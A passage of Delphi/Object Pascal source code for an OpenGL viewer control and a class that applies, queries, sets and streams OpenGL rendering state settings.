PFD: TPixelFormatDescriptor;
PF: Integer;
begin
inherited CreateWnd;
ZeroMemory(@PFD, SizeOf(TPixelFormatDescriptor));
with PFD do
begin
nSize := SizeOf(TPixelFormatDescriptor);
nVersion := GLD_PF_VERSION_DEFAULT;
dwFlags := GLD_PF_FLAGS_DEFAULT;
iPixelType := GLD_PF_PIXELTYPE_DEFAULT;
cColorBits := GLD_PF_COLORBITS_DEFAULT;
cRedBits := GLD_PF_REDBITS_DEFAULT;
cRedShift := GLD_PF_REDSHIFT_DEFAULT;
cGreenBits := GLD_PF_GREENBITS_DEFAULT;
cGreenShift := GLD_PF_GREENSHIFT_DEFAULT;
cBlueBits := GLD_PF_BLUEBITS_DEFAULT;
cBlueShift := GLD_PF_BLUESHIFT_DEFAULT;
cAlphaBits := GLD_PF_ALPHABITS_DEFAULT;
cAlphaShift := GLD_PF_ALPHASHIFT_DEFAULT;
cAccumBits := GLD_PF_ACCUMBITS_DEFAULT;
cAccumRedBits := GLD_PF_ACCUMREDBITS_DEFAULT;
cAccumGreenBits := GLD_PF_ACCUMGREENBITS_DEFAULT;
cAccumBlueBits := GLD_PF_ACCUMBLUEBITS_DEFAULT;
cAccumAlphaBits := GLD_PF_ACCUMALPHABITS_DEFAULT;
cDepthBits := GLD_PF_DEPTHBITS_DEFAULT;
cStencilBits := GLD_PF_STENCILBITS_DEFAULT;
cAuxBuffers := 0;
iLayerType := GLD_PF_LAYERTYPE_DEFAULT;
bReserved := 0;
dwLayerMask := 0;
dwVisibleMask := 0;
dwDamageMask := 0;
end;
FDeviceContext := GetDC(Handle);
PF := ChoosePixelFormat(FDeviceContext, @PFD);
Windows.SetPixelFormat(FDeviceContext, PF, @PFD);
FRenderingContext := wglCreateContext(FDeviceContext);
wglMakeCurrent(FDeviceContext, FRenderingContext);
glViewport(0, 0, Width, Height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
gluPerspective(45, Width / Height, 1, 100);
FOptions.Apply;
glLightModelf(GL_LIGHT_MODEL_TWO_SIDE, GL_TRUE);
glEnable(GL_LIGHT0);
//glLightfv(GL_LIGHT0, GL_DIFFUSE, @GLD_COLOR4F_WHITE);
end;
procedure TGLDViewer.RecreateWnd;
begin
inherited;
end;
procedure TGLDViewer.MakeCurrent;
begin
wglMakeCurrent(FDeviceContext, FRenderingContext);
end;
procedure TGLDViewer.Render;
begin
if (FDeviceContext = 0) or
(FRenderingContext = 0) then Exit;
MakeCurrent;
if Assigned(FOnRender) then FOnRender;
glFlush;
Windows.SwapBuffers(FDeviceContext);
end;
procedure TGLDViewer.SwapBuffers;
begin
if FDeviceContext <> 0 then
Windows.SwapBuffers(FDeviceContext);
end;
procedure TGLDViewer.Click;
begin
if Owner is TForm then
TForm(Owner).ActiveControl := Self;
inherited Click;
end;
procedure TGLDViewer.DoChange(Sender: TObject);
begin
glMatrixMode(GL_MODELVIEW);
glLoadIdentity;
glClearColor(0, 0, 0, 0);
glClear(GL_COLOR_BUFFER_BIT);
FOptions.Apply;
Render;
end;
procedure TGLDViewer.WMPaint(var Message: TWMPaint);
var
PS: TPaintStruct;
begin
BeginPaint(Handle, PS);
try
if (FDeviceContext <> 0) and
(FRenderingContext <> 0) then
Render;
finally
EndPaint(Handle, PS);
Message.Result := 0;
end;
end;
procedure TGLDViewer.WMSize(var Message: TWMSize);
begin
inherited;
if (FDeviceContext = 0) or
(FRenderingContext = 0) then Exit;
glViewport(0, 0, Width, Height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
gluPerspective(45, Width / Height, 1, 100);
end;
procedure TGLDViewer.SetStateOptions(Value: TGLDStateOptions);
begin
if Assigned(Value) then
begin
FOptions.Assign(Value);
Render;
end;
end;
procedure TGLDViewer.SetOnRender(Value: TGLDMethod);
begin
FOnRender := Value;
end;
constructor TGLDStateOptions.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FAlphaFunc := afAlways;
FAlphaFuncRef := 0;
FBlendFuncSourceFactor := sfOne;
FBlendFuncDestinationFactor := dfZero;
FClearAccum := TGLDColor4fClass.Create(Self, GLD_COLOR4F_BLACK);
FClearColor := TGLDColor4fClass.Create(Self, GLD_COLOR4F_BLACK);
FClearDepth := 1;
FClearIndex := 0;
FClearStencil := 0;
FColorMasks := GLD_SO_COLORMASK_DEFAULT;
FCullFace := cfBack;
FDepthFunc := dfLess;
FDepthMask := True;
FDepthRangeNear := 0;
FDepthRangeFar := 1;
FEnableAlphaTest := False;
FEnableBlend := False;
FEnableCullFace := False;
FEnableDepthTest := True;
FEnableDither := False;
FEnableFog := False;
FEnableLighting := False;
FEnableLineSmooth := False;
FEnableLineStipple := False;
FEnableLogicOp := False;
FEnableNormalize := False;
FEnablePointSmooth := False;
FEnablePolygonSmooth := False;
FEnablePolygonStipple := False;
FEnableScissorTest := False;
FEnableStencilTest := False;
FFogColor := TGLDColor4fClass.Create(Self, GLD_COLOR4F_BLACK);
FFogDensity := 0;
FFogEnd := 0;
FFogHintMode := hmDontCare;
FFogIndex := 0;
FFogMode := fmExp;
FFogStart := 0;
FFrontFace := ffCCW;
FIndexMask := $FFFFFFFF;
FLineSmoothHintMode := hmDontCare;
FLineStippleFactor := 1;
FLineStipplePattern := $FFFF;
FLineWidth := 1;
FLogicOp := loCopy;
FPerspectiveCorrectionHintMode := hmNicest;
FPointSize := 1;
FPointSmoothHintMode := hmDontCare;
FPolygonModeBack := pmFill;
FPolygonModeFront := pmFill;
FPolygonSmoothHintMode := hmDontCare;
FShadeModel := smSmooth;
FStencilFunc := sfAlways;
FStencilFuncRef := 0;
FStencilFuncMask := $FFFFFFFF;
FStencilOpFail := soKeep;
FStencilOpZFail := soKeep;
FStencilOpZPass := soKeep;
Apply;
end;
destructor TGLDStateOptions.Destroy;
begin
FClearAccum.Free;
FClearColor.Free;
FFogColor.Free;
end;
procedure TGLDStateOptions.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLDStateOptions) then Exit;
FClearColor.Assign(TGLDStateOptions(Source).FClearColor);
//Apply;
//Change;
end;
procedure SetEnable(State: GLenum; Enable: GLboolean);
begin
if Enable then
glEnable(State)
else glDisable(State);
end;
procedure TGLDStateOptions.Apply;
begin
glAlphaFunc(GLD_ALPHA_FUNCS[FAlphaFunc], FAlphaFuncRef);
glBlendFunc(GLD_BLEND_FUNC_SOURCE_FACTORS[FBlendFuncSourceFactor],
GLD_BLEND_FUNC_DESTINATION_FACTORS[FBlendFuncDestinationFactor]);
with FClearAccum.Color4f do
glClearAccum(R, G, B, A);
with FClearColor.Color4f do
glClearColor(R, G, B, A);
glClearDepth(FClearDepth);
glClearIndex(FClearIndex);
glClearStencil(FClearStencil);
glColorMask(Red in FColorMasks,
Green in FColorMasks,
Blue in FColorMasks,
Alpha in FColorMasks);
glCullFace(GLD_CULL_FACES[FCullFace]);
glDepthFunc(GLD_DEPTH_FUNCS[FDepthFunc]);
glDepthMask(FDepthMask);
glDepthRange(FDepthRangeNear, FDepthRangeFar);
SetEnable(GL_ALPHA_TEST, FEnableAlphaTest);
SetEnable(GL_BLEND, FEnableBlend);
SetEnable(GL_CULL_FACE, FEnableCullFace);
SetEnable(GL_DEPTH_TEST, FEnableDepthTest);
SetEnable(GL_DITHER, FEnableDither);
SetEnable(GL_FOG, FEnableFog);
SetEnable(GL_LIGHTING, FEnableLighting);
SetEnable(GL_LINE_SMOOTH, FEnableLineSmooth);
SetEnable(GL_LINE_STIPPLE, FEnableLineStipple);
SetEnable(GL_LOGIC_OP, FEnableLogicOp);
SetEnable(GL_NORMALIZE, FEnableNormalize);
SetEnable(GL_POINT_SMOOTH, FEnablePointSmooth);
SetEnable(GL_POLYGON_SMOOTH, FEnablePolygonSmooth);
SetEnable(GL_POLYGON_STIPPLE, FEnablePolygonStipple);
SetEnable(GL_SCISSOR_TEST, FEnableScissorTest);
SetEnable(GL_STENCIL_TEST, FEnableStencilTest);
glFogfv(GL_FOG_COLOR, FFogColor.GetPointer);
glFogf(GL_FOG_DENSITY, FFogDensity);
glFogf(GL_FOG_END, FFogEnd);
glHint(GL_FOG_HINT, GLD_HINT_MODES[FFogHintMode]);
glFogi(GL_FOG_INDEX, FFogIndex);
glFogi(GL_FOG_MODE, GLD_FOG_MODES[FFogMode]);
glFogf(GL_FOG_START, FFogStart);
glFrontFace(GLD_FRONT_FACES[FFrontFace]);
glIndexMask(FIndexMask);
glHint(GL_LINE_SMOOTH_HINT, GLD_HINT_MODES[FLineSmoothHintMode]);
glLineStipple(FLineStippleFactor, FLineStipplePattern);
glLineWidth(FLineWidth);
glLogicOp(GLD_LOGIC_OPS[FLogicOp]);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GLD_HINT_MODES[FPerspectiveCorrectionHintMode]);
glPointSize(FPointSize);
glHint(GL_POINT_SMOOTH_HINT, GLD_HINT_MODES[FPointSmoothHintMode]);
glPolygonMode(GL_BACK, GLD_POLYGON_MODES[FPolygonModeBack]);
glPolygonMode(GL_FRONT, GLD_POLYGON_MODES[FPolygonModeFront]);
glHint(GL_POLYGON_SMOOTH_HINT, GLD_HINT_MODES[FPolygonSmoothHintMode]);
glShadeModel(GLD_SHADE_MODELS[FShadeModel]);
glStencilFunc(GLD_STENCIL_FUNCS[FStencilFunc], FStencilFuncRef, FStencilFuncMask);
glStencilOp(GLD_STENCIL_OPS[FStencilOpFail],
GLD_STENCIL_OPS[FStencilOpZFail],
GLD_STENCIL_OPS[FStencilOpZPass]);
end;
procedure TGLDStateOptions.LoadFromStream(Stream: TStream);
begin
Stream.Read(FAlphaFunc, SizeOf(TGLDAlphaFunc));
Stream.Read(FAlphaFuncRef, SizeOf(GLclampf));
Stream.Read(FBlendFuncSourceFactor, SizeOf(TGLDBlendFuncSourceFactor));
Stream.Read(FBlendFuncDestinationFactor, SizeOf(TGLDBlendFuncDestinationFactor));
FClearAccum.LoadFromStream(Stream);
FClearColor.LoadFromStream(Stream);
Stream.Read(FClearDepth, SizeOf(GLclampd));
Stream.Read(FClearIndex, SizeOf(GLfloat));
Stream.Read(FClearStencil, SizeOf(GLint));
Stream.Read(FColorMasks, SizeOf(TGLDColorMasks));
Stream.Read(FCullFace, SizeOf(TGLDCullFace));
Stream.Read(FDepthFunc, SizeOf(TGLDDepthFunc));
Stream.Read(FDepthMask, SizeOf(GLboolean));
Stream.Read(FDepthRangeNear, SizeOf(GLclampd));
Stream.Read(FDepthRangeFar, SizeOf(GLclampd));
Stream.Read(FEnableAlphaTest, SizeOf(GLboolean));
Stream.Read(FEnableBlend, SizeOf(GLboolean));
Stream.Read(FEnableCullFace, SizeOf(GLboolean));
Stream.Read(FEnableDepthTest, SizeOf(GLboolean));
Stream.Read(FEnableDither, SizeOf(GLboolean));
Stream.Read(FEnableFog, SizeOf(GLboolean));
Stream.Read(FEnableLighting, SizeOf(GLboolean));
Stream.Read(FEnableLineSmooth, SizeOf(GLboolean));
Stream.Read(FEnableLineStipple, SizeOf(GLboolean));
Stream.Read(FEnableLogicOp, SizeOf(GLboolean));
Stream.Read(FEnableNormalize, SizeOf(GLboolean));
Stream.Read(FEnablePointSmooth, SizeOf(GLboolean));
Stream.Read(FEnablePolygonSmooth, SizeOf(GLboolean));
Stream.Read(FEnablePolygonStipple, SizeOf(GLboolean));
Stream.Read(FEnableScissorTest, SizeOf(GLboolean));
Stream.Read(FEnableStencilTest, SizeOf(GLboolean));
FFogColor.LoadFromStream(Stream);
Stream.Read(FFogDensity, SizeOf(GLfloat));
Stream.Read(FFogEnd, SizeOf(GLfloat));
Stream.Read(FFogHintMode, SizeOf(TGLDHintMode));
Stream.Read(FFogIndex, SizeOf(GLint));
Stream.Read(FFogMode, SizeOf(TGLDFogMode));
Stream.Read(FFogStart, SizeOf(GLfloat));
Stream.Read(FFrontFace, SizeOf(TGLDFrontFace));
Stream.Read(FIndexMask, SizeOf(GLuint));
Stream.Read(FLineSmoothHintMode, SizeOf(TGLDHintMode));
Stream.Read(FLineStippleFactor, SizeOf(GLint));
Stream.Read(FLineStipplePattern, SizeOf(GLushort));
Stream.Read(FLineWidth, SizeOf(GLfloat));
Stream.Read(FLogicOp, SizeOf(TGLDLogicOp));
Stream.Read(FPerspectiveCorrectionHintMode, SizeOf(TGLDHintMode));
Stream.Read(FPointSize, SizeOf(GLfloat));
Stream.Read(FPointSmoothHintMode, SizeOf(TGLDHintMode));
Stream.Read(FPolygonModeBack, SizeOf(TGLDPolygonMode));
Stream.Read(FPolygonModeFront, SizeOf(TGLDPolygonMode));
Stream.Read(FPolygonSmoothHintMode, SizeOf(TGLDHintMode));
Stream.Read(FShadeModel, SizeOf(TGLDShadeModel));
Stream.Read(FStencilFunc, SizeOf(TGLDStencilFunc));
Stream.Read(FStencilFuncRef, SizeOf(GLint));
Stream.Read(FStencilFuncMask, SizeOf(GLuint));
Stream.Read(FStencilOpFail, SizeOf(TGLDStencilOp));
Stream.Read(FStencilOpZFail, SizeOf(TGLDStencilOp));
Stream.Read(FStencilOpZPass, SizeOf(TGLDStencilOp));
Apply;
end;
procedure TGLDStateOptions.SaveToStream(Stream: TStream);
begin
GetAlphaFunc; Stream.Write(FAlphaFunc, SizeOf(TGLDAlphaFunc));
GetAlphaFuncRef; Stream.Write(FAlphaFuncRef, SizeOf(GLclampf));
GetBlendFuncSourceFactor; Stream.Write(FBlendFuncSourceFactor, SizeOf(TGLDBlendFuncSourceFactor));
GetBlendFuncDestinationFactor; Stream.Write(FBlendFuncDestinationFactor, SizeOf(TGLDBlendFuncDestinationFactor));
GetClearAccum; FClearAccum.SaveToStream(Stream);
GetClearColor; FClearColor.SaveToStream(Stream);
GetClearDepth; Stream.Write(FClearDepth, SizeOf(GLclampd));
GetClearIndex; Stream.Write(FClearIndex, SizeOf(GLfloat));
GetClearStencil; Stream.Write(FClearStencil, SizeOf(GLint));
GetColorMasks; Stream.Write(FColorMasks, SizeOf(TGLDColorMasks));
GetCullFace; Stream.Write(FCullFace, SizeOf(TGLDCullFace));
GetDepthFunc; Stream.Write(FDepthFunc, SizeOf(TGLDDepthFunc));
GetDepthMask; Stream.Write(FDepthMask, SizeOf(GLboolean));
GetDepthRangeNear; Stream.Write(FDepthRangeNear, SizeOf(GLclampd));
GetDepthRangeFar; Stream.Write(FDepthRangeFar, SizeOf(GLclampd));
GetEnableAlphaTest; Stream.Write(FEnableAlphaTest, SizeOf(GLboolean));
GetEnableBlend; Stream.Write(FEnableBlend, SizeOf(GLboolean));
GetEnableCullFace; Stream.Write(FEnableCullFace, SizeOf(GLboolean));
GetEnableDepthTest; Stream.Write(FEnableDepthTest, SizeOf(GLboolean));
GetEnableDither; Stream.Write(FEnableDither, SizeOf(GLboolean));
GetEnableFog; Stream.Write(FEnableFog, SizeOf(GLboolean));
GetEnableLighting; Stream.Write(FEnableLighting, SizeOf(GLboolean));
GetEnableLineSmooth; Stream.Write(FEnableLineSmooth, SizeOf(GLboolean));
GetEnableLineStipple; Stream.Write(FEnableLineStipple, SizeOf(GLboolean));
GetEnableLogicOp; Stream.Write(FEnableLogicOp, SizeOf(GLboolean));
GetEnableNormalize; Stream.Write(FEnableNormalize, SizeOf(GLboolean));
GetEnablePointSmooth; Stream.Write(FEnablePointSmooth, SizeOf(GLboolean));
GetEnablePolygonSmooth; Stream.Write(FEnablePolygonSmooth, SizeOf(GLboolean));
GetEnablePolygonStipple; Stream.Write(FEnablePolygonStipple, SizeOf(GLboolean));
GetEnableScissorTest; Stream.Write(FEnableScissorTest, SizeOf(GLboolean));
GetEnableStencilTest; Stream.Write(FEnableStencilTest, SizeOf(GLboolean));
GetFogColor; FFogColor.SaveToStream(Stream);
GetFogDensity; Stream.Write(FFogDensity, SizeOf(GLfloat));
GetFogEnd; Stream.Write(FFogEnd, SizeOf(GLfloat));
GetFogHintMode; Stream.Write(FFogHintMode, SizeOf(TGLDHintMode));
GetFogIndex; Stream.Write(FFogIndex, SizeOf(GLint));
GetFogMode; Stream.Write(FFogMode, SizeOf(TGLDFogMode));
GetFogStart; Stream.Write(FFogStart, SizeOf(GLfloat));
GetFrontFace; Stream.Write(FFrontFace, SizeOf(TGLDFrontFace));
GetIndexMask; Stream.Write(FIndexMask, SizeOf(GLuint));
GetLineSmoothHintMode; Stream.Write(FLineSmoothHintMode, SizeOf(TGLDHintMode));
GetLineStippleFactor; Stream.Write(FLineStippleFactor, SizeOf(GLint));
GetLineStipplePattern; Stream.Write(FLineStipplePattern, SizeOf(GLushort));
GetLineWidth; Stream.Write(FLineWidth, SizeOf(GLfloat));
GetLogicOp; Stream.Write(FLogicOp, SizeOf(TGLDLogicOp));
GetPerspectiveCorrectionHintMode; Stream.Write(FPerspectiveCorrectionHintMode, SizeOf(TGLDHintMode));
GetPointSize; Stream.Write(FPointSize, SizeOf(GLfloat));
GetPointSmoothHintMode; Stream.Write(FPointSmoothHintMode, SizeOf(TGLDHintMode));
GetPolygonModeBack; Stream.Write(FPolygonModeBack, SizeOf(TGLDPolygonMode));
GetPolygonModeFront; Stream.Write(FPolygonModeFront, SizeOf(TGLDPolygonMode));
GetPolygonSmoothHintMode; Stream.Write(FPolygonSmoothHintMode, SizeOf(TGLDHintMode));
GetShadeModel; Stream.Write(FShadeModel, SizeOf(TGLDShadeModel));
GetStencilFunc; Stream.Write(FStencilFunc, SizeOf(TGLDStencilFunc));
GetStencilFuncRef; Stream.Write(FStencilFuncRef, SizeOf(GLint));
GetStencilFuncMask; Stream.Write(FStencilFuncMask, SizeOf(GLuint));
GetStencilOpFail; Stream.Write(FStencilOpFail, SizeOf(TGLDStencilOp));
GetStencilOpZFail; Stream.Write(FStencilOpZFail, SizeOf(TGLDStencilOp));
GetStencilOpZPass; Stream.Write(FStencilOpZPass, SizeOf(TGLDStencilOp));
end;
procedure TGLDStateOptions.SetOnChange(Value: TNotifyEvent);
begin
FOnChange := Value;
FClearAccum.OnChange := FOnChange;
FClearColor.OnChange := FOnChange;
FFogColor.OnChange := FOnChange;
end;
function TGLDStateOptions.GetAlphaFunc: TGLDAlphaFunc;
var
i: GLint;
begin
glGetIntegerv(GL_ALPHA_TEST_FUNC, @i);
case i of
GL_NEVER: FAlphaFunc := afNever;
GL_LESS: FAlphaFunc := afLess;
GL_EQUAL: FAlphaFunc := afEqual;
GL_LEQUAL: FAlphaFunc := afLessOrEqual;
GL_GREATER: FAlphaFunc := afGreater;
GL_NOTEQUAL: FAlphaFunc := afNotEqual;
GL_GEQUAL: FAlphaFunc := afGreaterOrEqual;
GL_ALWAYS: FAlphaFunc := afAlways;
end;
Result := FAlphaFunc;
end;
procedure TGLDStateOptions.SetAlphaFunc(Value: TGLDAlphaFunc);
begin
FAlphaFunc := Value;
glAlphaFunc(GLD_ALPHA_FUNCS[FAlphaFunc], GetAlphaFuncRef);
Change;
end;
function TGLDStateOptions.GetAlphaFuncRef: GLclampf;
begin
glGetFloatv(GL_ALPHA_TEST_REF, @FAlphaFuncRef);
Result := FAlphaFuncRef;
end;
procedure TGLDStateOptions.SetAlphaFuncRef(Value: GLclampf);
begin
FAlphaFuncRef := Value;
glAlphaFunc(GLD_ALPHA_FUNCS[GetAlphaFunc], FAlphaFuncRef);
Change;
end;
function TGLDStateOptions.GetBlendFuncSourceFactor: TGLDBlendFuncSourceFactor;
var
i: GLint;
begin
glGetIntegerv(GL_BLEND_SRC, @i);
case i of
GL_ZERO: FBlendFuncSourceFactor := sfZero;
GL_ONE: FBlendFuncSourceFactor := sfOne;
GL_DST_COLOR: FBlendFuncSourceFactor := sfDstColor;
GL_ONE_MINUS_DST_COLOR: FBlendFuncSourceFactor := sfOneMinusDstColor;
GL_SRC_ALPHA: FBlendFuncSourceFactor := sfSrcAlpha;
GL_ONE_MINUS_SRC_ALPHA: FBlendFuncSourceFactor := sfOneMinusSrcAlpha;
GL_DST_ALPHA: FBlendFuncSourceFactor := sfDstAlpha;
GL_ONE_MINUS_DST_ALPHA: FBlendFuncSourceFactor := sfOneMinusDstAlpha;
GL_SRC_ALPHA_SATURATE: FBlendFuncSourceFactor := sfSrcAlphaSaturate;
end;
Result := FBlendFuncSourceFactor;
end;
procedure TGLDStateOptions.SetBlendFuncSourceFactor(Value: TGLDBlendFuncSourceFactor);
begin
FBlendFuncSourceFactor := Value;
glBlendFunc(GLD_BLEND_FUNC_SOURCE_FACTORS[FBlendFuncSourceFactor],
GLD_BLEND_FUNC_DESTINATION_FACTORS[GetBlendFuncDestinationFactor]);
Change;
end;
function TGLDStateOptions.GetBlendFuncDestinationFactor: TGLDBlendFuncDestinationFactor;
var
i: GLint;
begin
glGetIntegerv(GL_BLEND_DST, @i);
case i of
GL_ZERO: FBlendFuncDestinationFactor := dfZero;
GL_ONE: FBlendFuncDestinationFactor := dfOne;
GL_SRC_COLOR: FBlendFuncDestinationFactor := dfSrcColor;
GL_ONE_MINUS_SRC_COLOR: FBlendFuncDestinationFactor := dfOneMinusSrcColor;
GL_SRC_ALPHA: FBlendFuncDestinationFactor := dfSrcAlpha;
GL_ONE_MINUS_SRC_ALPHA: FBlendFuncDestinationFactor := dfOneMinusSrcAlpha;
GL_DST_ALPHA: FBlendFuncDestinationFactor := dfDstAlpha;
GL_ONE_MINUS_DST_ALPHA: FBlendFuncDestinationFactor := dfOneMinusDstAlpha;
end;
Result := FBlendFuncDestinationFactor;
end;
procedure TGLDStateOptions.SetBlendFuncDestinationFactor(Value: TGLDBlendFuncDestinationFactor);
begin
FBlendFuncDestinationFactor := Value;
glBlendFunc(GLD_BLEND_FUNC_SOURCE_FACTORS[GetBlendFuncSourceFactor],
GLD_BLEND_FUNC_DESTINATION_FACTORS[FBlendFuncDestinationFactor]);
Change;
end;
function TGLDStateOptions.GetClearAccum: TGLDColor4fClass;
begin
glGetFloatv(GL_ACCUM_CLEAR_VALUE, FClearAccum.GetPointer);
Result := FClearAccum;
end;
procedure TGLDStateOptions.SetClearAccum(Value: TGLDColor4fClass);
begin
if Value = nil then Exit;
PGLDColor4f(FClearAccum.GetPointer)^ := PGLDColor4f(Value.GetPointer)^;
with FClearAccum.Color4f do
glClearAccum(R, G, B, A);
Change;
end;
function TGLDStateOptions.GetClearColor: TGLDColor4fClass;
begin
glGetFloatv(GL_COLOR_CLEAR_VALUE, FClearColor.GetPointer);
Result := FClearColor;
end;
procedure TGLDStateOptions.SetClearColor(Value: TGLDColor4fClass);
begin
if Value = nil then Exit;
PGLDColor4f(FClearColor.GetPointer)^ := PGLDColor4f(Value.GetPointer)^;
with FClearColor.Color4f do
glClearColor(R, G, B, A);
Change;
end;
function TGLDStateOptions.GetClearDepth: GLclampd;
begin
glGetDoublev(GL_DEPTH_CLEAR_VALUE, @FClearDepth);
Result := FClearDepth;
end;
procedure TGLDStateOptions.SetClearDepth(Value: GLclampd);
begin
FClearDepth := Value;
glClearDepth(FClearDepth);
Change;
end;
function TGLDStateOptions.GetClearIndex: GLfloat;
begin
glGetFloatv(GL_INDEX_CLEAR_VALUE, @FClearIndex);
Result := FClearIndex;
end;
procedure TGLDStateOptions.SetClearIndex(Value: GLfloat);
begin
FClearIndex := Value;
glClearIndex(FClearIndex);
Change;
end;
function TGLDStateOptions.GetClearStencil: GLint;
begin
glGetIntegerv(GL_STENCIL_CLEAR_VALUE, @FClearStencil);
Result := FClearStencil;
end;
procedure TGLDStateOptions.SetClearStencil(Value: GLint);
begin
FClearStencil := Value;
glClearStencil(FClearStencil);
Change;
end;
function TGLDStateOptions.GetColorMasks: TGLDColorMasks;
var
Bool4: array[1..4] of GLboolean;
begin
FColorMasks := []; Result := [];
glGetBooleanv(GL_COLOR_WRITEMASK, @Bool4);
if Bool4[1] then FColorMasks := FColorMasks + [Red];
if Bool4[2] then FColorMasks := FColorMasks + [Green];
if Bool4[3] then FColorMasks := FColorMasks + [Blue];
if Bool4[4] then FColorMasks := FColorMasks + [Alpha];
Result := FColorMasks;
end;
procedure TGLDStateOptions.SetColorMasks(Value: TGLDColorMasks);
begin
FColorMasks := [];
FColorMasks := Value;
glColorMask(Red in FColorMasks,
Blue in FColorMasks,
Green in FColorMasks,
Alpha in FColorMasks);
Change;
end;
function TGLDStateOptions.GetCullFace: TGLDCullFace;
var
i: GLenum;
begin
glGetIntegerv(GL_CULL_FACE_MODE, @i);
case i of
GL_FRONT: FCullFace := cfFront;
GL_BACK: FCullFace := cfBack;
end;
Result := FCullFace;
end;
procedure TGLDStateOptions.SetCullFace(Value: TGLDCullFace);
begin
FCullFace := Value;
glCullFace(GLD_CULL_FACES[FCullFace]);
Change;
end;
function TGLDStateOptions.GetDepthFunc: TGLDDepthFunc;
var
i: GLint;
begin
glGetIntegerv(GL_DEPTH_FUNC, @i);
case i of
GL_NEVER: FDepthFunc := dfNever;
GL_LESS: FDepthFunc := dfLess;
GL_EQUAL: FDepthFunc := dfEqual;
GL_LEQUAL: FDepthFunc := dfLessOrEqual;
GL_GREATER: FDepthFunc := dfGreater;
GL_NOTEQUAL: FDepthFunc := dfNotEqual;
GL_GEQUAL: FDepthFunc := dfGreaterOrEqual;
GL_ALWAYS: FDepthFunc := dfAlways;
end;
Result := FDepthFunc;
end;
procedure TGLDStateOptions.SetDepthFunc(Value: TGLDDepthFunc);
begin
FDepthFunc := Value;
glDepthFunc(GLD_DEPTH_FUNCS[FDepthFunc]);
Change;
end;
function TGLDStateOptions.GetDepthMask: GLboolean;
begin
glGetBooleanv(GL_DEPTH_WRITEMASK, @FDepthMask);
Result := FDepthMask;
end;
procedure TGLDStateOptions.SetDepthMask(Value: GLboolean);
begin
FDepthMask := Value;
glDepthMask(FDepthMask);
Change;
end;
function TGLDStateOptions.GetDepthRangeNear: GLclampd;
var
D2: array[1..2] of GLclampd;
begin
glGetDoublev(GL_DEPTH_RANGE, @D2);
FDepthRangeNear := D2[1];
Result := FDepthRangeNear;
end;
procedure TGLDStateOptions.SetDepthRangeNear(Value: GLclampd);
begin
FDepthRangeNear := Value;
glDepthRange(FDepthRangeNear, GetDepthRangeFar);
Change;
end;
function TGLDStateOptions.GetDepthRangeFar: GLclampd;
var
D2: array[1..2] of GLclampd;
begin
glGetDoublev(GL_DEPTH_RANGE, @D2);
FDepthRangeFar := D2[2];
Result := FDepthRangeFar;
end;
procedure TGLDStateOptions.SetDepthRangeFar(Value: GLclampd);
begin
FDepthRangeFar := Value;
glDepthRange(GetDepthRangeNear, FDepthRangeFar);
Change;
end;
function TGLDStateOptions.GetEnableAlphaTest: GLboolean;
begin
FEnableAlphaTest := glIsEnabled(GL_ALPHA_TEST);
Result := FEnableAlphaTest;
end;
procedure TGLDStateOptions.SetEnableAlphaTest(Value: GLboolean);
begin
FEnableAlphaTest := Value;
SetEnable(GL_ALPHA_TEST, FEnableAlphaTest);
Change;
end;
function TGLDStateOptions.GetEnableBlend: GLboolean;
begin
FEnableBlend := glIsEnabled(GL_BLEND);
Result := FEnableBlend;
end;
procedure TGLDStateOptions.SetEnableBlend(Value: GLboolean);
begin
FEnableBlend := Value;
SetEnable(GL_BLEND, FEnableBlend);
Change;
end;
function TGLDStateOptions.GetEnableCullFace: GLboolean;
begin
FEnableCullFace := glIsEnabled(GL_CULL_FACE);
Result := FEnableCullFace;
end;
procedure TGLDStateOptions.SetEnableCullFace(Value: GLboolean);
begin
FEnableCullFace := Value;
SetEnable(GL_CULL_FACE, FEnableCullFace);
Change;
end;
function TGLDStateOptions.GetEnableDepthTest: GLboolean;
begin
FEnableDepthTest := glIsEnabled(GL_DEPTH_TEST);
Result := FEnableDepthTest;
end;
procedure TGLDStateOptions.SetEnableDepthTest(Value: GLboolean);
begin
FEnableDepthTest := Value;
SetEnable(GL_DEPTH_TEST, FEnableDepthTest);
Change;
end;
function TGLDStateOptions.GetEnableDither: GLboolean;
begin
FEnableDither := glIsEnabled(GL_DITHER);
Result := FEnableDither;
end;
procedure TGLDStateOptions.SetEnableDither(Value: GLboolean);
begin
FEnableDither := Value;
SetEnable(GL_DITHER, FEnableDither);
Change;
end;
function TGLDStateOptions.GetEnableFog: GLboolean;
begin
FEnableFog := glIsEnabled(GL_FOG);
Result := FEnableFog;
end;
procedure TGLDStateOptions.SetEnableFog(Value: GLboolean);
begin
FEnableFog := Value;
SetEnable(GL_FOG, FEnableFog);
Change;
end;
function TGLDStateOptions.GetEnableLighting: GLboolean;
begin
FEnableLighting := glIsEnabled(GL_LIGHTING);
Result := FEnableLighting;
end;
procedure TGLDStateOptions.SetEnableLighting(Value: GLboolean);
begin
FEnableLighting := Value;
SetEnable(GL_LIGHTING, FEnableLighting);
Change;
end;
function TGLDStateOptions.GetEnableLineSmooth: GLboolean;
begin
FEnableLineSmooth := glIsEnabled(GL_LINE_SMOOTH);
Result := FenableLineSmooth;
end;
procedure TGLDStateOptions.SetEnableLineSmooth(Value: GLboolean);
begin
FEnableLineSmooth := Value;
SetEnable(GL_LINE_SMOOTH, FEnableLineSmooth);
Change;
end;
function TGLDStateOptions.GetEnableLineStipple: GLboolean;
begin
FEnableLineStipple := glIsEnabled(GL_LINE_STIPPLE);
Result := FEnableLineStipple;
end;
procedure TGLDStateOptions.SetEnableLineStipple(Value: GLboolean);
begin
FEnableLineStipple := Value;
SetEnable(GL_LINE_STIPPLE, FEnableLineStipple);
Change;
end;
function TGLDStateOptions.GetEnableLogicOp: GLboolean;
begin
FEnableLogicOp := glIsEnabled(GL_LOGIC_OP);
Result := FEnableLogicOp;
end;
procedure TGLDStateOptions.SetEnableLogicOp(Value: GLboolean);
begin
FEnableLogicOp := Value;
SetEnable(GL_LOGIC_OP, FEnableLogicOp);
Change;
end;
function TGLDStateOptions.GetEnableNormalize: GLboolean;
begin
FEnableNormalize := glIsEnabled(GL_NORMALIZE);
Result := FEnableNormalize;
end;
procedure TGLDStateOptions.SetEnableNormalize(Value: GLboolean);
begin
FEnableNormalize := Value;
